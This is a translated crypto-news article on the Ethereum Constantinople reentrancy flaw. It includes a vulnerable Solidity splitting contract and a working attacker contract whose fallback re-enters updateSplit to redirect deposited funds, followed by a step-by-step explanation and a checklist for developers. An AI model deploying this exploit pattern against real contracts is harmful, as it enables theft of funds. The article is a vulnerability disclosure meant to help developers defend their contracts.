Risk Warning: Beware of illegal fundraising in the name of 'virtual currency' and 'blockchain'. — Five departments including the Banking and Insurance Regulatory Commission
Information
Discover
Search
Login
简中
繁中
English
日本語
한국어
ภาษาไทย
Tiếng Việt
BTC
ETH
HTX
SOL
BNB
View Market
Vulnerability Details of Ethereum Network Constantinople Upgrade
猎豹区块链安全
特邀专栏作者
2019-01-16 08:54
This article is about 2972 words, reading the full article takes about 5 minutes
On the eve of the upgrade of the Ethereum network, a "reentrant" vulnerability suddenly broke out, causing the upgrade to be delayed. This article is the details of the vulnerability

first level title
 

What is wrong with this code?

Below is a short smart contract that was not vulnerable to reentrancy attacks before Constantinople, but is after. You can find the full source code, including the attacker contract, on our Github.

pragma solidity ^0.5.0;

contract PaymentSharer {
 mapping(uint => uint) splits;
 mapping(uint => uint) deposits;
 mapping(uint => address payable) first;
 mapping(uint => address payable) second;

 function init(uint id, address payable _first, address payable _second) public {
   require(first[id] == address(0) && second[id] == address(0));
   require(first[id] == address(0) && second[id] == address(0));
   first[id] = _first;
   second[id] = _second;
 }

 function deposit(uint id) public payable {
   deposits[id] += msg.value;
 }

 function updateSplit(uint id, uint split) public {
   require(split <= 100);
   splits[id] = split;
 }

 function splitFunds(uint id) public {
   // Here would be: 
   // Signatures that both parties agree with this split

   // Split
   address payable a = first[id];
   address payable b = second[id];
   uint depo = deposits[id];
   deposits[id] = 0;

   a.transfer(depo * splits[id] / 100);
   b.transfer(depo * (100 - splits[id]) / 100);
 }
}

<Example of new vulnerable code>


The code was attacked in an unexpected way: it simulated a secure splitting service. Both parties can jointly receive funds, decide how to split funds, and receive payments. An attacker can create a pair of addresses where the first address is the attacker contract listed below and the second address is any attacker account. The attacker will top up some money.


pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
 address private victim;
 address payable owner;

 constructor() public {
   owner = msg.sender;
 }

 function attack(address a) external {
   victim = a;
   PaymentSharer x = PaymentSharer(a);
   x.updateSplit(0, 100);
   x.splitFunds(0);
 }

 function () payable external {
   address x = victim;
   assembly{
       mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
       pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
   }    
 }

 function drain() external {
   owner.transfer(address(this).balance);
 }
}
<Attacker contract listed as first address>


The attacker will call the attack function of his own contract to disclose the following events in a transaction:
1. The attacker uses updateSplit to set the current split to ensure that subsequent upgrades are cheap. This is the result of the Constantinople upgrade. The attacker sets up the split in such a way that the first address (the contract address) receives all funds.
2. The attacker contract calls the splitFunds function, which will perform a check* and use transfer to send the entire deposit of the pair of addresses to the contract.
3. From the callback function, the attacker updates the split again, this time allocating all funds to the attacker's second account.
4. Execution of splitFunds continues and all deposits are also transferred to the second attacker account.
first level title
 

Why can attack now?

Before Constantinople, each storage operation required at least 5000 gas. This far exceeds the 2300 gas fee sent when using transfer or send to call the contract.

After Constantinople, the storage operation that is changing the "dirty" storage slot requires only 200 gas. To make a storage slot dirty, it must be changed during an ongoing transaction. As shown above, this can usually be achieved by the attacker contract calling some public function that changes the desired variable. Then, by making the vulnerable contract call the attacker contract, for example, using msg.sender.transfer(...), the attacker contract can successfully manipulate the variables of the vulnerable contract using a 2300 gas fee.


Certain prerequisites must be met for a contract to become vulnerable:
1. There must be a function A, after the transfer/send in the function, followed by the state change operation. This can sometimes be non-obvious, such as a second transfer or an interaction with another smart contract.
2. The attacker must have access to a function B that can (a) change state, and (b) whose state changes conflict with function A's state.
3. Function B needs to be executed with less than 1600 gas (2300 gas fee - 700 gas for CALL).

Is my contract vulnerable?


To test if you are vulnerable:
(a) Check if there is any operation after the transfer event.
(b) Check whether these operations change the storage state, most commonly by allocating some storage variable. If you call another contract, for example, the token's transfer method*, check which variables are modified. Make a list.
(c) Check that any other methods in the contract that are accessible to non-admins use one of these variables.
(d) Check that these methods alter the stored state by themselves.
(e) Check if there is a method with less than 2300 gas, remember that SSTORE operation is only 200 gas.
If this happens, an attacker could very well cause your contract to get into a bad state. Overall, this is another reminder of why the Checks-Effects-Interactions pattern is so important.

 

What do I need to do as a node operator or miner?

Download the latest version of the Ethereum client:

latest geth client (v1.8.20)

Latest Parity client (v2.1.11-stable)

Latest Harmony client (v2.3 Build 72)

Latest Pantheon client (v0.8.3)

Latest Trinity client (v0.1.0-alpha.20)

Latest version of Ethereum Wallet/Mist (v0.11.1)

 

| Author: ChainSecurity

| Translation: Cheetah Blockchain Security Team


Welcome to Join Odaily Official Community